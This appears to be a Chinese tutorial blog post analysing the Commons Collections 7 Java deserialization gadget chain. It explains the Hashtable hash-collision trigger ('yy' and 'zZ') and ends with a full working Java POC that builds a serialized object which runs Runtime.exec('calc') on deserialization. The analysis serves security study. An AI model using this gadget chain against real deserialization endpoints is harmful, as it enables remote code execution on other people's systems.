返回介绍

4 CommonsCollections 7 Gadget 分析

发布于 2024-09-16 15:35:01 字数 7988 浏览 0 评论 0 收藏 0

cc7 调用链:

//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
  ->Hashtable.readObject()
      ->Hashtable.reconstitutionPut()
            ->AbstractMapDecorator.equals
                ->AbstractMap.equals()
                  ->LazyMap.get()
                    ->ChainedTransformer.transform()
                      ->ConstantTransformer.transform()
                        ->InvokerTransformer.transform()
                          ->…………

LazyMap 之后的利用链也和 CC1 相同,前面用了新的链进行触发。这里仍然是想办法触发 LazyMap.get() 。在 Hashtable 的 readObject 中,遇到 hash 碰撞时,通过调用一个对象的 equals 方法对比两个对象,判断是否为真的 hash 碰撞。这里的 equals 方法是 AbstractMapequals 方法。

4.1 AbstractMap

由于 LazyMap 没有实现 equals 方法,所以调用其 equals 方法即调用其父类

AbstractMapDecoratorequals 方法:

public boolean equals(Object object) {
    if (object == this) {
        return true;
    }
    return map.equals(object);
}

即调用其所包装的 mapequals 方法。

如果这里包装的是 HashMap 而其没有实现 equals 方法,就会调用其父类 AbstractMapequals 方法:

public boolean equals(Object o) {
	...
    Map<K,V> m = (Map<K,V>) o;
	...
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
	...
}

此处调用了参数的 get 方法,可以此触发 LazyMap.get 从而完成利用。

4.2 Hashtable

这里使用 Hashtable 来充当反序列化链的触发点,其反序列化过程中调用了自身的 reconstitutionPut 方法,Hashtable 类的关键代码如下:

//Hashtable 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
       ………………
        for (; elements > 0; elements--) {
            K key = (K)s.readObject();
            V value = (V)s.readObject();

            //reconstitutionPut 方法
            reconstitutionPut(newTable, key, value);
        }
        this.table = newTable;
    }


//跟进 reconstitutionPut 方法
    private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
    throws StreamCorruptedException
{
    ...
    int hash = hash(key);
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
    }
    Entry<K,V> e = tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

而这里想要触发 equals 方法需要满足两个条件:

  • tab[index] != null :即相同的 index 应出现两次
  • e.hash == hash :即两个相同的 index 对应的 Entry 的键对应的 hash 相同

这里会发现 hash 相同则 index 一定相同,所以可能会认为只要设置两个相同的 key 使得 hash 相同即可。

相同的 key 确实可以触发 equals ,但是回到一开始的 LazyMap.get 的触发条件, get 需要接收一个不存在的 key 才可以触发 transform ,所以需要找到两个值不相等但 hash 相等的变量。

这里 ysoserial 用了字符串,查看 String.hashCode

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

这里只需要找到四个字符分成两个不同的组(AB、CD),使得 31 * A + B == 31 * C + D 即可。ysoserial 中使用了 yy 和 zZ,但这里还存在很多种可能。

4.3 POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {

    public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {

        Transformer[] fakeTransformer = new Transformer[]{};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer 实例
        //先设置假的 Transformer 数组,防止生成时执行命令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

        //LazyMap 实例
        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, "test");
        hashtable.put(lazyMap2, "test");


        //通过反射设置真的 ransformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
        lazyMap2.remove("yy");

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashtable);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

}

参考

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文